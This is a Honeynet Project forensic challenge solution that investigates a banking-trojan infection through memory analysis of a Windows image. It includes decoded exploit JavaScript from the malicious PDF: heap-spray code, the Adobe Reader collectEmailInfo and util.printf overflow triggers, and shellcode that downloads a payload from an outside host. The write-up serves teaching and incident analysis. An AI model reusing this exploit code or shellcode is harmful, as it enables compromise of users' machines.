Forensic Challenge 2010

Challenge 3: Banking Troubles
Solution

The Honeynet Project
http://www.honeynet.org

Josh Smith – Rochester Institute of Technology (RIT) Chapter
Matt Cote – Rochester Institute of Technology (RIT) Chapter
Angelo Dell'Aera – Italian Chapter
Nicolas Collery – Singapore Chapter

Questions

1. List the processes that were running on the victim's machine. Which process was most likely responsible for the initial exploit? (2pts)
2. List the sockets that were open on the victim's machine during infection. Are there any suspicious processes that have sockets open? (4pts)
3. List any suspicious URLs that may be in the suspected process's memory. (2pts)
4. Are there any other processes that contain URLs that may point to banking troubles? If so, what are these processes and what are the URLs? (4pts)
5. Were there any files that were able to be extracted from the initial process? How were these files extracted? (6pts)
6. If there was a file extracted from the initial process, what techniques did it use to perform the exploit? (8pts)
7. List suspicious files that were loaded by any processes on the victim's machine. From this information, what was a possible payload of the initial exploit be that would be affecting the victim's bank account? (2pts)
8. If any suspicious files can be extracted from an injected process, do any antivirus products pick up the suspicious executable? What is the general result from antivirus products? (6pts)
9. Are there any related registry entries associated with the payload? (4pts)
10. What technique was used in the initial exploit to inject code in to the other processes? (6pts)

Incident Overview

Company X has contacted you to perform forensics work on a recent incident that occurred. One of their employees had received an email from a fellow co-worker that pointed to a PDF file. Upon opening, the employee did not seem to notice anything, however recently they have had unusual activity in their bank account. Company X was able to obtain a memory image of the employee's virtual machine upon suspected infection. Company X wishes you to analyze the virtual memory and report on any suspected activities found. Questions can be found below to help in the formal report for the investigation.

Files Involved

hn_forensics.vmem
MD5: 20d420729287026a3f55704154bd6163
Size: 512 MB

Tools Used

- Volatility
- Strings
- Foremost
- Virus Total

ANSWERS

Question 1 - List the processes that were running on the victim's machine. Which process was most likely responsible for the initial exploit? (2pts)

Tool used: Volatility

python volatility pslist -f images/hn_forensics.vmem

Name	Pid	PPid	Thds	Hnds	Time
System	4	0	58	573	Thu Jan 01 00:00:00 1970
smss.exe	548	4	3	21	Fri Feb 26 03:34:02 2010
csrss.exe	612	548	12	423	Fri Feb 26 03:34:04 2010
winlogon.exe	644	548	21	521	Fri Feb 26 03:34:04 2010
services.exe	688	644	16	293	Fri Feb 26 03:34:05 2010
lsass.exe	700	644	22	416	Fri Feb 26 03:34:06 2010
vmacthlp.exe	852	688	1	35	Fri Feb 26 03:34:06 2010
svchost.exe	880	688	28	340	Fri Feb 26 03:34:07 2010
svchost.exe	948	688	10	276	Fri Feb 26 03:34:07 2010
svchost.exe	1040	688	83	1515	Fri Feb 26 03:34:07 2010
svchost.exe	1100	688	6	96	Fri Feb 26 03:34:07 2010
svchost.exe	1244	688	19	239	Fri Feb 26 03:34:08 2010
spoolsv.exe	1460	688	11	129	Fri Feb 26 03:34:10 2010
vmtoolsd.exe	1628	688	5	220	Fri Feb 26 03:34:25 2010
VMUpgradeHelper	1836	688	4	108	Fri Feb 26 03:34:34 2010
alg.exe	2024	688	7	130	Fri Feb 26 03:34:35 2010
explorer.exe	1756	1660	14	345	Fri Feb 26 03:34:38 2010
VMwareTray.exe	1108	1756	1	59	Fri Feb 26 03:34:39 2010
VMwareUser.exe	1116	1756	4	179	Fri Feb 26 03:34:39 2010
wscntfy.exe	1132	1040	1	38	Fri Feb 26 03:34:40 2010
msiexec.exe	244	688	5	181	Fri Feb 26 03:46:06 2010
msiexec.exe	452	244	0	-1	Fri Feb 26 03:46:07 2010
wuauclt.exe	440	1040	8	188	Sat Feb 27 19:48:49 2010
wuauclt.exe	232	1040	4	136	Sat Feb 27 19:49:11 2010
firefox.exe	888	1756	9	172	Sat Feb 27 20:11:53 2010
AcroRd32.exe	1752	888	8	184	Sat Feb 27 20:12:23 2010
svchost.exe	1384	688	9	101	Sat Feb 27 20:12:36 2010

According to the incident overview, the user was emailed a link to a suspicious PDF by a coworker. This is a clue to look at the *AcroRd32.exe* process (PID 1752). It is worth noting that Adobe Reader has a Parent PID 888 (*firefox.exe*). This could mean the user (maybe automatically by clicking on the link advertised in the email) opened the Firefox web browser which spawned *AcroRd32.exe* in order to read the PDF file.

Question 2 - List the sockets that were open on the victim's machine during infection. Are there any suspicious processes that have sockets open? (4pts)

Tools used: Volatility

Let's take a look to the network connections in order to find additional clue of our previous assumption.

```
python volatility connscan2 -f images/hn_forensics.vmem

Local Address              Remote Address             Pid
-------------------------  -------------------------  ------

192.168.0.176:1176         212.150.164.203:80         888
192.168.0.176:1189         192.168.0.1:9393           1244
192.168.0.176:2869         192.168.0.1:30379          1244
192.168.0.176:2869         192.168.0.1:30380          4
0.0.0.0:0                  80.206.204.129:0           0
127.0.0.1:1168             127.0.0.1:1169             888
192.168.0.176:1172         66.249.91.104:80           888
127.0.0.1:1169             127.0.0.1:1168             888
192.168.0.176:1171         66.249.90.104:80           888
192.168.0.176:1178         212.150.164.203:80         1752
192.168.0.176:1184         193.104.22.71:80           880
192.168.0.176:1185         193.104.22.71:80           880
```

It's possible to observe a few network connections opened by *firefox.exe* (PID 888).

```
 192.168.0.176:1176         212.150.164.203:80         888
127.0.0.1:1168             127.0.0.1:1169             888
192.168.0.176:1172         66.249.91.104:80           888
127.0.0.1:1169             127.0.0.1:1168             888
192.168.0.176:1171         66.249.90.104:80           888
```

This could be a normal behaviour but something appears strange.

```
 192.168.0.176:1178         212.150.164.203:80         1752
```

This connection was opened by *AcroRd32.exe* (PID 1752) and this represents an additional clue that an Adobe Reader exploit was used in order to download and execute a malware sample. Let's take a look at the sockets in order to build the incident timeline.

```
python volatility sockscan2 -f images/hn_forensics.vmem

PID      Port    Proto   Create Time                     Offset
------   ------  ------  -------------------------      ----------

888      1168    6       Sat Feb 27 20:11:53 2010       0x01e6cd80
4        139     6       Sat Feb 27 19:48:57 2010       0x01e75390
880      1185    6       Sat Feb 27 20:12:36 2010       0x01e833a0
4        0       47      Fri Feb 26 03:35:00 2010       0x01e94e98
1752     1178    6       Sat Feb 27 20:12:32 2010       0x01e96b98
1244     1900    17      Sat Feb 27 19:48:57 2010       0x01e98ce0
4        1030    6       Fri Feb 26 03:35:00 2010       0x01e9a3e8
1040     1186    17      Sat Feb 27 20:12:36 2010       0x01ebd320
1040     1182    17      Sat Feb 27 20:12:35 2010       0x01ec72b0
880      1184    6       Sat Feb 27 20:12:36 2010       0x01ede008
1100     1047    17      Fri Feb 26 03:43:12 2010       0x01ee2488
1040     68      17      Sat Feb 27 20:12:35 2010       0x01ef2998
1040     123     17      Sat Feb 27 19:48:57 2010       0x01f09d80
880      30301   6       Sat Feb 27 20:12:36 2010       0x01f0fe98
700      500     17      Fri Feb 26 03:34:26 2010       0x01f14298
1100     1025    17      Fri Feb 26 03:34:34 2010       0x01f1a1a0
1752     1177    17      Sat Feb 27 20:12:32 2010       0x01f1a8b8
4        445     17      Fri Feb 26 03:34:02 2010       0x01fd2a80
888      1169    6       Sat Feb 27 20:11:53 2010       0x01fec370
1040     123     17      Sat Feb 27 19:48:57 2010       0x01feee18
4        445     6       Fri Feb 26 03:34:02 2010       0x020b6c58
888      1172    6       Sat Feb 27 20:11:53 2010       0x0225be98
888      1176    6       Sat Feb 27 20:12:28 2010       0x02261740
1244     1900    17      Sat Feb 27 19:48:57 2010       0x02263008
888      1171    6       Sat Feb 27 20:11:53 2010       0x02280880
4        138     17      Sat Feb 27 19:48:57 2010       0x02294450
1040     1181    17      Sat Feb 27 20:12:35 2010       0x022ac218
1244     2869    6       Sat Feb 27 20:12:37 2010       0x022c37d0
2024     1026    6       Fri Feb 26 03:34:35 2010       0x022d3d70
700      0       255     Fri Feb 26 03:34:26 2010       0x022f4528
700      4500    17      Fri Feb 26 03:34:26 2010       0x022f4aa8
4        137     17      Sat Feb 27 19:48:57 2010       0x02318008
1244     1189    6       Sat Feb 27 20:12:37 2010       0x02410c40
948      135     6       Fri Feb 26 03:34:07 2010       0x025e6008
```

Let's focus on interesting entries (what makes them interesting is the time they were created).

```
PID    Port    Proto   Create Time                 Offset
------ ------  ------  -------------------------   ----------

888    1168    6       Sat Feb 27 20:11:53 2010    0x01e6cd80
880    1185    6       Sat Feb 27 20:12:36 2010    0x01e833a0
1752   1178    6       Sat Feb 27 20:12:32 2010    0x01e96b98
1040   1186    17      Sat Feb 27 20:12:36 2010    0x01ebd320
1040   1182    17      Sat Feb 27 20:12:35 2010    0x01ec72b0
880    1184    6       Sat Feb 27 20:12:36 2010    0x01ede008
1040   68      17      Sat Feb 27 20:12:35 2010    0x01ef2998
880    30301   6       Sat Feb 27 20:12:36 2010    0x01f0fe98
1752   1177    17      Sat Feb 27 20:12:32 2010    0x01f1a8b8
888    1169    6       Sat Feb 27 20:11:53 2010    0x01fec370
888    1172    6       Sat Feb 27 20:11:53 2010    0x0225be98
888    1176    6       Sat Feb 27 20:12:28 2010    0x02261740
888    1171    6       Sat Feb 27 20:11:53 2010    0x02280880
1040   1181    17      Sat Feb 27 20:12:35 2010    0x022ac218
1244   2869    6       Sat Feb 27 20:12:37 2010    0x022c37d0
1244   1189    6       Sat Feb 27 20:12:37 2010    0x02410c40
```

Let's review *firefox.exe* (PID 888) sockets history timeline. Remember that the process was started at 20:11:53.

```
PID    Port    Proto   Create Time                 Offset
------ ------  ------  -------------------------   ----------

888    1168    6       Sat Feb 27 20:11:53 2010    0x01e6cd80
888    1169    6       Sat Feb 27 20:11:53 2010    0x01fec370
888    1172    6       Sat Feb 27 20:11:53 2010    0x0225be98
888    1171    6       Sat Feb 27 20:11:53 2010    0x02280880
888    1176    6       Sat Feb 27 20:12:28 2010    0x02261740
```

Moreover we see an interesting thing.

```
PID    Port    Proto   Create Time                 Offset
------ ------  ------  -------------------------   ----------

1752   1178    6       Sat Feb 27 20:12:32 2010    0x01e96b98
1752   1177    17      Sat Feb 27 20:12:32 2010    0x01f1a8b8
```

AcroRd32.exe has opened two sockets of its own. The first one (protocol 6 is TCP) could be related to the exploit execution. The second one (protocol 17 is UDP) could maybe related to

host resolution so it could be DNS traffic. It's not possible to state it for sure since no network dump is available. Other interesting sockets opened soon later by *svchost.exe*.

PID	Port	Proto	Create Time	Offset
880	1185	6	Sat Feb 27 20:12:36 2010	0x01e833a0
1040	1186	17	Sat Feb 27 20:12:36 2010	0x01ebd320
1040	1182	17	Sat Feb 27 20:12:35 2010	0x01ec72b0
880	1184	6	Sat Feb 27 20:12:36 2010	0x01ede008
1040	68	17	Sat Feb 27 20:12:35 2010	0x01ef2998
880	30301	6	Sat Feb 27 20:12:36 2010	0x01f0fe98
1040	1181	17	Sat Feb 27 20:12:35 2010	0x022ac218
1244	2869	6	Sat Feb 27 20:12:37 2010	0x022c37d0
1244	1189	6	Sat Feb 27 20:12:37 2010	0x02410c40

Question 3 - List any suspicious URLs that may be in the suspected process's memory. (2pts)

Tools used: Strings

Using strings, the Adobe Reader address space can be searched for any URLs that may have been used during the exploit.

```
strings 1752.dmp | grep "^http://" | sort | uniq

http
http:
http://
http://192.168.0.1:4444/wipconn
http://*:2869/a
http_404
http://cgi.adobe.com/special/acrobat/mediaplayerfinder/mediaplayerfinder.cgi?
http://cgi.stage.adobe.com/esd20/newport/updateinstallers/TestInstaller0.exe
http://cgi.stage.adobe.com/esd20/newport/updateinstallers/TestInstaller1.exe
http://cgi.stage.adobe.com/esd20/newport/updateinstallers/TestInstaller2.exe
http://cgi.stage.adobe.com/esd20/newport/updateinstallers/TestInstaller3.exe
http://cgi.stage.adobe.com/esd20/newport/updateinstallers/TestInstaller4.exe
http://cgi.stage.adobe.com/esd20/newport/updateinstallers/TestInstaller5.exe
http://clients1.google.c
http://clients1.google.com/complete/search?hl=en&client=hp&q=f&cp=1
http://clients1.google.com/complete/search?hl=en&client=hp&q=fire&cp=4
http://clients1.google.com/complete/search?hl=en&client=hp&q=firef&cp=5
http://clients1.google.com/complete/search?hl=en&client=hp&q=firefo&cp=6
http://clients1.google.com/complete/search?hl=en&client=hp&q=firefox%201&cp=9
http://clients1.google.com/complete/search?hl=en&client=hp&q=firefox%20&cp=8
http://clients1.google.com/complete/search?hl=en&client=hp&q=firefox&cp=7
http://clients1.google.com/complete/search?hl=en&client=hp&q=o&cp=1
http://clients1.google.com/complete/search?hl=en&client=hp&q=ol&cp=2
http://clients1.google.com/complete/search?hl=en&client=hp&q=oldarc&cp=6
http://clients1.google.com/complete/search?hl=en&client=hp&q=oldarch&cp=7
http://clients1.google.com/complete/search?hl=en&client=hp&q=oldarchive&cp=10
http://clients1.google.com/complete/search?hl=en&client=hp&q=oldar&cp=5
http://clients1.google.com/complete/search?hl=en&client=hp&q=old&cp=3
http://clients1.google.com/complete/search?hl=en&client=serp&pq=oldarchives&q=old%20s&cp=5
http://clients1.google.com/complete/search?hl=en&client=serp&pq=oldarchives&q=old%20sof&cp=7
http://clients1.google.com/complete/search?hl=en&client=serp&pq=oldarchives&q=olda&cp=4
http://col.stb.s-msn.com/i/6F/67BD5E8F73EA1A2CBF42CF6734017.jpg
http://col.stb.s-msn.com/i/98/EB5CC990F23F4C12C8F3669E234C3.jpg
```

http://col.stb.s-msn.com/i/B5/A8C45A92F02F41628E564ED431A79.jpg
http://col.stb.s-msn.com/i/B7/A9414E4B79B08D3176CA405B818C.jpg
http://col.stb.s-msn.com/i/BB/42A4A0EAE7B52055FA7C3B1FA5077.jpg
http://col.stb.s-msn.com/i/D4/609FD45D772D533E86AF95787B0.jpg
http://createpdf.adobe.com/?Language=$LNG
http-equ
http-equiv
httpext.dll
http://googleads.g.doubl
http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5954470155829380&output=html&h=280&slotname=8177702234&w=336&lmt=1267155813&flash=6.0.79.0&url=http%3A%2F%2Fwww.oldversion.com%2F&dt=1267155813289&prev_slotnames=4570978642&correlator=1267155813164&frm=0&ga_vid=157986524.1267155813&ga_sid=1267155813&ga_hid=1132199807&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=730&u_w=1171&u_ah=700&u_aw=1171&u_cd=32&u_nplug=0&u_nmime=0&biw=771&bih=453&ref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26source%3Dhp%26q%3Dold%2Bprograms%26aq%3Df%26aqi%3Dg10%26aql%3D%26oq%3D&fu=0&ifi=2&dtd=16&xpc=QyAUvJjjgJ&p=http%3A//www.oldversion.com
http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5954470155829380&output=html&h=90&slotname=6260467362&w=728&lmt=1267155909&flash=6.0.79.0&url=http%3A%2F%2Fwww.oldversion.com%2Fdownload_Acrobat_Reader_6.0.html&dt=1267155909493&correlator=1267155909493&frm=0&ga_vid=157986524.1267155813&ga_sid=1267155813&ga_hid=435142168&ga_fc=1&u_tz=-300&u_his=5&u_java=1&u_h=730&u_w=1171&u_ah=700&u_aw=1171&u_cd=32&u_nplug=0&u_nmime=0&biw=771&bih=453&ref=http%3A%2F%2Fwww.oldversion.com%2FAcrobat-Reader.html&fu=0&ifi=1&dtd=15&xpc=aNKedBreSb&p=http%3A//www.oldversion.com
http://googleads.g.doubleclick.net/pagead/imgad?id=CLGtjKyFtJCsJBDQAhiNAjIIRcGLBL6jvTQ
http://home.netscape.com/NC-rdf#
http://kona5.kontera.com/KonaGet.js?u=1267155818664&p=116534&k=http%3A//www.oldversion.com/Acrobat-Reader.htmlIE&al=1&l=http%3A//www.oldversion.com/Acro
http://kona.kontera.com/javascript/lib/2010_02_24_2/KonaBase.js
http://kona.kontera.com/javascript/lib/KonaLibInline.js
http://ns.adobe.com/AcrobatCollab/6.0/
http://ns.adobe.com/Eden/1.0
http://ns.adobe.com/Eden/ActivateSignatureAlgorithm
http://ns.adobe.com/Eden/BlobSignatureAlgorithm
http://ns.adobe.com/Eden/CanonicalAlgorithm
http://ns.adobe.com/Eden/PreActivateSignatureAlgorithm
http://ns.adobe.com/Eden/Soap/Actions/Activate
http://ns.adobe.com/Eden/Soap/Actions/Blob
http://ns.adobe.com/Eden/Soap/Actions/PreActivate

http://ns.adobe.com/Eden/Soap/Actions/RecoverSessionId
http://ns.adobe.com/Eden/Soap/Actions/Watermark
httpod51.dll
httpodbc.dll
httponly
http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http.pdb
httpProxyServer
https
https:
https://
http://schemas.xmlsoap.org/soap/envelope/
http://schemas.xmlsoap.org/soap/http
https:D//
http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0
http://search-network-plus.com/load.php?a=a&st=Internet%20Explorer%206.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=1
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=3
http-startup
http-startup-category
https://www.verisign.com; by E-mail at CPS-requests@verisign.com; or
https://www.verisign.com/CPS0
https://www.verisign.com/rpa0
http://www.adobe.com
http://www.adobe.com/epaper/ebooks/ebookmall/main.html
http://www.adobe.com/products/acrobat/messaging/photos.html
http://www.google.com/
http://www.google.com/logos/olympics10-sskating-hp.png
http://www.google.com/search?hl=en&source=hp&q=oldarchives&aq=f&aqi=g-sx5g-s1&aql=&oq=
http://www.liutilities.com/partners/affiliate/affiliateCentre/assets/graphics/sp-en/banner_728x90freescan.jpg
http://www.microsoft.com/provisioning/BaseEapConnectionPropertiesV1
http://www.microsoft.com/provisioning/BaseEapUserPropertiesV1
http://www.microsoft.com/provisioning/Branding
http://www.microsoft.com/provisioning/EapConnectionPropertiesV1
http://www.microsoft.com/provisioning/EapUserPropertiesV1
http://www.microsoft.com/provisioning/Help
http://www.microsoft.com/provisioning/Locations
http://www.microsoft.com/provisioning/Master
http://www.microsoft.com/provisioning/MsChapV2ConnectionPropertiesV1
http://www.microsoft.com/provisioning/MsChapV2UserPropertiesV1
http://www.microsoft.com/provisioning/MsPeapConnectionPropertiesV1
http://www.microsoft.com/provisioning/MsPeapUserPropertiesV1

http://www.microsoft.com/provisioning/Register
http://www.microsoft.com/provisioning/SSID
http://www.microsoft.com/provisioning/WirelessProfile
http://www.monotype.comMonotype Type Drawing Office - Stanley Morison, Victor Lardent 1932This remarkable typeface first appeared in 1932 in The Times of London newspaper, for whi
ch it was designed. It has subsequently become one of the worlds most successful type creations. The original drawings were made under Stanley Morison's direction by Victor Lard
ent at The Times. It then went through an extensive iterative process involving further work in Monotype's Type Drawing Office. Based on experiments Morison had conducted using Perpetua and Plantin, it has many old style characteristics but was adapted to give excellent legibility coupled with good economy. Widely used in books and magazines, for report
s, office documents and also for display and
advertising.http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monot
ype.com/html/mtname/ms_welcome.htmlhttp://www.mon
otype.com/html/type/license.html
http://www.oldversion.com/download_Acrobat_Reader_6.0.html
http://www.oldversion.com/download/firefox1502.exe
http://www.oldversion.com/download_Mozilla_Firefox_1.5.0.2.html
http://www.oldversion.com/jquery.js
http://www.oldversion.com/oldversion.js
http://www.usertrust.com1
http://www.usertrust.com1+0)
http://www.usertrust.com1604
http://www.valicert.com/1 0
http://www.w3.org/1999/XSL/Transform
http://www.w3.org/2000/09/xmldsig#
http://www.w3.org/2000/09/xmldsig#hmac-sha1
http://www.w3.org/2000/09/xmldsig#sha1
http://www.w3.org/XML/1998/namespace

Question 4 - Are there any other processes that contain URLs that may point to banking troubles? If so, what are these processes and what are the URLs? (4pts)

Tools used: Strings

Relaxing the regular expression used in question 3 reveals another interesting element

```
strings 1752.dmp | grep "http://" | uniq –u
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
```

This string also shows up in many different processes.

```
for file in $(ls *.dmp); do echo $file; strings $file | grep bankofamerica; done

1244.dmp
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
1752.dmp
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
880.dmp
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
888.dmp
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
```

Question 5 - Were there any files that were able to be extracted from the initial process? How were these files extracted? (6pts)

Tools Used: Volatility, Foremost

The malicious PDF file resides in the Adobe Reader process address space. Adobe Reader's memory can be dumped with volatility.

```
python volatility memdmp -f images/hn_forensics.vmem -p 1752
```

Using the forensics tool Foremost[1], the possible PDF files can be extracted from the memory dump.

```
foremost -i 1752.dmp -t pdf -o output
```

The Foremost report, audit.txt, is located in the output directory.

```
Foremost version 1.5.6 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Mon Mar  1 11:45:19 2010
Invocation: foremost -i Volatility-1.3_Beta/1752.dmp -t pdf -o output
Output directory: /home/buffer/honeynet/FC3/output
Configuration file: /etc/foremost.conf
-------------------------------------------------------------
File: Volatility-1.3_Beta/1752.dmp
Start: Mon Mar  1 11:45:19 2010
Length: 318 MB (333492224 bytes)

Num      Name (bs=512)       Size      File Offset     Comment

0:      00445397.pdf        419 B      228043624
1:      00446730.pdf        419 B      228726208
2:      00578749.pdf        425 B      296319928
3:      00583952.pdf        425 B      298983712
4:      00599312.pdf        425 B      306847744
5:      00599696.pdf         58 KB      307044352      (PDF is Linearized)
6:      00600328.pdf        592 KB      307367969
Finish: Mon Mar  1 11:45:20 2010

7 FILES EXTRACTED
```

[1] http://foremost.sourceforge.net/

```
pdf:= 7
---------------------------------------------------------------

Foremost finished at Mon Mar  1 11:45:20 2010
```

It's not guaranteed that all the extracted files are PDFs as Foremost simply uses the PDF headers and footers Magic Bytes to extract potential files. Taking a look to the output shown above, there are two files that are significantly larger than the other ones. These files are shown below:

```
file 00599696.pdf
00599696.pdf: PDF document, version 1.4

file 00600328.pdf
00600328.pdf: PDF document, version 1.3
```

If a grep is run on each extracted PDF searching for JavaScript, it is clear that only one of the two files suspected contains Javascript.

```
grep -i javascript *.pdf
Binary file 00600328.pdf matches
```

Question 6 - If there was a file extracted from the initial process, what techniques did it use to perform the exploit? (8pts)

Tools used: JSUnpack
Didier Stevens PDF tools[2]
Didier Stevens modified Spidermonkey[3]

Looking back at the two suspected PDF files for analysis, many different tools have been released to analyze PDF files for possible malicious signatures. One such tool is JSUnpack[4].

```
python jsunpack-n.py -v 00600328.pdf

[malicious:10] [PDF] input_upload
    info: [decodingLevel=0] found JavaScript
    info: [decodingLevel=0] decoded 84009 bytes
(decoding_1020b03dad0c2c7b47a6fd2dd5ba9b96abb156b7)
    info: ObfuscationPattern detected String.fromCharCode eval
    info: [decodingLevel=1] found JavaScript
    suspicious: analysis exceeded 30 seconds (0 bytes, incomplete)
    info: [decodingLevel=1] decoded 4096 bytes
(decoding_9cef2a90a8d3fcd3cab48a55058306bd22b978a1)
    malicious: Utilprintf CVE-2008-2992 detected
    malicious: collectEmailInfo CVE-2007-5659 detected
    info: [decodingLevel=2] found JavaScript
    info: [file] saved input_upload to (original_6045554853a61681d7264260cdd1072bbdc113ac)
```

Two CVE alerts were detected: CVE-2008-2992[5] and CVE-2007-5659[6].

Let's analyze the PDF file in greater detail using Didier Stevens PDF tools. The first step is trying to identify the object within the PDF file containing the malicious Javascript code and extract it from the file. The extracted Javascript code will be subsequently analyzed with a modified version of Spidermonkey.

```
python pdf-parser.py --search javascript --raw 00600328.pdf

obj 11 0
 Type:
 Referencing: 1054 0 R
```

[2] http://blog.didierstevens.com/programs/pdf-tools/
[3] http://blog.didierstevens.com/programs/spidermonkey/
[4] http://jsunpack.jeek.org/dec/go
[5] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2992
[6] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-5659

```
<</S/JavaScript/JS 1054 0 R>>


 <<
   /S /JavaScript
   /JS 1054 0 R
 >>



python pdf-parser.py --object 11 00600328.pdf

obj 11 0
 Type:
 Referencing: 1054 0 R
 [(1, '\r\n'), (2, '<<'), (2, '/S'), (2, '/JavaScript'), (2, '/JS'), (1, ' '), (3, '1054'), (1, ' '), (3, '0'), (1, ' '),
(3, 'R'), (2, '>>'), (1, '\r\n')]

 <<
   /S /JavaScript
   /JS 1054 0 R
 >>



python pdf-parser.py --object 1054 --raw --filter 00600328.pdf  > malicious.js
```

An additional step is required here. We need to modify the extracted Javascript code malicious.js in order to remove stream header and trailer. Subsequently we can execute it with the modified Spidermonkey.

```
js malicious.js
malicious.js:1: ReferenceError: app is not defined
```

The script refers the object *app* which suggest us this could be an Adobe Acrobat Reader exploit. Let's take a look at the generated log files.

```
cat eval.001.log


function OzWJi(rzRoI,fxLUb){
	while(rzRoI.length*2<fxLUb){
		rzRoI+=rzRoI;
```

```
	}
	return rzRoI.substring(0,fxLUb/2);
}

function bSuTN(){
	var
Uueqk=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u
8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\
u5756\u738B
\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\u
F238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u
8B48\u1C56\uD303\u048
B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF7
8B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u75
68\u6C72\u546D\u8EB8\u0E
4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A
\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u
7468\u7074\u2F3A\u7
32F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616
F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u7
26F\u7265\u3620\u
302E\u6526\u323D\u0000%25%30%25%30%25%30%25%30%25%30%25%30");
	var HWXsi=202116108;
	var ZkzwV=[];
	var HsVTm=4194304;
	var EgAxi=Uueqk.length*2;
	var fxLUb=HsVTm-(EgAxi+0x38);
	var rzRoI=sly("\u9090\u9090");
	rzRoI=OzWJi(rzRoI,fxLUb);
	var tfFQG=(HWXsi-4194304)/HsVTm;
	for(var gtqHE=0;gtqHE<tfFQG;gtqHE++){
		ZkzwV[gtqHE]=rzRoI+Uueqk;
	}
	var eHmqR=sly("\u0c0c\u0c0c");
	while(eHmqR.length<44952)
		eHmqR+=eHmqR;
	this.collabStore=Collab.collectEmailInfo({subj:"",msg:eHmqR});
}

function Soy(){
	var dwl=new Array();
	function ppu(BtM,dqO){
		while(BtM.length*2<dqO){
			BtM+=BtM;
		}
		BtM=BtM.substring(0,dqO/2);
```

```
            return BtM;
        }
        XrS=0x30303030;

HRb=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8
D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u
5756\u738B\u8B3C
\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0
874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1
C56\uD303\u048B\u038
A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uA
EF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6
C72\u546D\u8EB8\u0E4E\uFF
EC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\
u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u
7074\u2F3A\u732F\u6
165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E6
4\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7
265\u3620\u302E\u
6526\u313D\u0000\u0000%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%
26%23%26%23%26");
        var jxU=4194304;
        var RaR=HRb.length*2;
        var dqO=jxU-(RaR+0x38);
        var BtM=sly("\u9090\u9090");
        BtM=ppu(BtM,dqO);
        var JYD=(XrS-4194304)/jxU;
        for(var Prn=0;Prn<JYD;Prn++){
            dwl[Prn]=BtM+HRb;
        }
        var IdI="66055447950636260127";
        for(sly=0;sly<138*2;sly++){
            IdI+="3";
        }
        util.printf("%45000f",IdI);
}

function ynu(shG){
        shG=shG.replace(/[\+1]/g,"0");
        shG=shG.replace(/[\+2]/g,"9");
        shG=shG.replace(/[\+3]/g,"8");
        shG=shG.replace(/[\+4]/g,"7");
        shG=shG.replace(/[\+5]/g,"6");
        shG=shG.replace(/[\+6]/g,"5");
        shG=shG.replace(/[\+7]/g,"4");
        shG=shG.replace(/[\+8]/g,"3");
```

```
	shG=shG.replace(/[\+9]/g,"2");
	shG=shG.replace(/[\+0]/g,"1");
	return shG;
}

function XiIHG(){
	var
cqcNr=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8
D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u
5756\u738B
